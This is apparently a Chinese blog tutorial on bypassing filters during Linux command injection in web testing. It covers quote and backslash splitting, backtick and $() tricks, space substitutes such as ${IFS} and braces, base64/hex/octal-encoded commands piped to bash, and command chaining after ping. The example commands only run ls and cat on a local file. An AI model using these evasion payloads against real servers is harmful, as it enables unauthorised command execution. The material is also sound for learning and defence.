• 五、Linux命令执行绕过技巧


    Linux命令执行绕过指的是,你在进行web测试,已经拿到了找到了执行linux命令的地方,但是有过滤,比如输入ls会被过滤掉,但是l\s可能就不会过滤(l\s和ls一样同样能被执行)

    一、连接符绕过

    1.单引号

    格式:l's'(两个单引号达到闭合,里面放置内容)
    例如:ca't' 1'.'txt=cat 1.txt

    2.双引号

    格式:l"s"(两个双引号达到闭合,里面放置内容)
    例如:ca"t" 1"."txt=cat 1.txt

    3.反斜杠

    格式:l\s
    例如:ca\t 1\.txt=cat 1.txt

    4.反引号

    解释:这个跟之前不太一样,反引号里面的内容会被执行(反引号外面内容也会被单独执行),而执行后查看的内容会以报错的方式展示出来,反引号为`
    格式:

    15`who`15
    结果:15jack未找到命令
    其中的jack就是who执行后获得的结果
    
    • 1
    • 2
    • 3

    例如:

    999`cat 1.txt`999
    结果:999ak47999: command not found
    ak47就是1.txt里面的第一行内容
    
    • 1
    • 2
    • 3

    关键:

    上面的内容可能只能查看第一项(第一行)
    建议用下面这种(其利用了反引号外面内容也会被单独执行)
    
    cat `999`1.txt
    结果:
    
    Command '999' not found, did you mean:
    
      command 'c99' from deb gcc (4:9.3.0-1ubuntu2)
      command 'c99' from deb clang (1:10.0-50~exp1)
    
    Try: apt install <deb name>
    
    ak47
    dwadwa
    dwadaw
    daw
    daw
    da
    wd
    aw
    // 这样就读到了所有的内容
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    5.$()

    解释:跟上面4.反引号完全一样,下面只举例一下$()外面内容也会被单独执行的情况

    ca$(12)t 1.$(555550)txt
    结果
    12: command not found
    555550: command not found
    ak47
    dwadwa
    dwadaw
    daw
    daw
    da
    wd
    aw
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    二、绕过空格

    1.花括号

    格式:{cat,1.txt}这样可以不用输入空格
    示例:{cat,1.txt}=cat 1.txt

    2.输入输出重定向

    解释:linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备,大于号>是输出重定向,比如一条命令,默认是将结果输出到屏幕

    格式:cat<>1.txt如果不是查看文件,可能会把前面命令(此处cat)写入到相应位置(此处1.txt)

    示例:cat<>1.txt=cat 1.txt

    注意:有的情况下并不能使用,比如进入目录等

    3.${IFS}

    解释:${IFS}是分隔符的意思
    格式:cat\${IFS}1.txt
    示例:cat\${IFS}1.txt=cat 1.txt

    4.进制

    解释:看三

    三、编码绕过

    1.base64编码

    解释:通过base64编码以此来混淆服务器过滤的筛选词语

    格式:echo bHM=|base64 -d|bash解释:bHM=是ls的意思,echo bHM=将值bHM=传递给base64 -d(其会将其进行base64解码),base64 -d将解码后内容ls传递给bash运行

    示例:echo Y2F0IDEudHh0|base64 -d|bash=cat 1.txt

    2.十六进制编码

    解释:所谓十六进制编码就是将字符串转换为ASCII然后将ASCII码对应的数字转换为十六进制,如a在ascii表为97,十六进制为61

    示例:echo "2063617420312e747874"|xxd -r -p|bash(2063617420312e747874为cat 1.txt)

    示例:$(printf "\x20\x63\x61\x74\x20\x31\x2e\x74\x78\x74")(\x20\x63\x61\x74\x20\x31\x2e\x74\x78\x74是cat 1.txt)

    注意:很可能十六进制在目标服务器上解析不了,但可能能够解析八进制的内容

    3.八进制编码

    解释:xxd转属于16进制转换,在linux中八进制转换并没有类似的

    示例:$(printf "\154\163")(\154\163是ls)
    注意:很可能八进制在目标服务器上解析不了,但可能能够解析十六进制的内容

    四、执行多条命令

    ping 127.0.0.1;ls
    ping 127.0.0.1&&ls
    ping 127.0.0.1||ls
    
    • 1
    • 2
    • 3
  • 相关阅读:
    openlayers点标记只在视图内展示,视图外不展示,用于大量数据展示
    RocketMQ源码(16)—消费者负载均衡服务RebalanceService入口源码
    Lua脚本实现setnx命令
    大数据Flink(八十四):SQL语法的DML:窗口聚合
    static关键字的三种用法
    Python入门(十三)函数(一)
    Stm32_标准库_9_TIM
    windows下在cmd和git bash中执行bash download.sh失败
    【C语言】指针和数组笔试题解析(2)
    LeetCode题集-4 - 寻找两个有序数组的中位数,图文并茂,六种解法,万字讲解
  • 原文地址:https://blog.csdn.net/weixin_46765649/article/details/134276227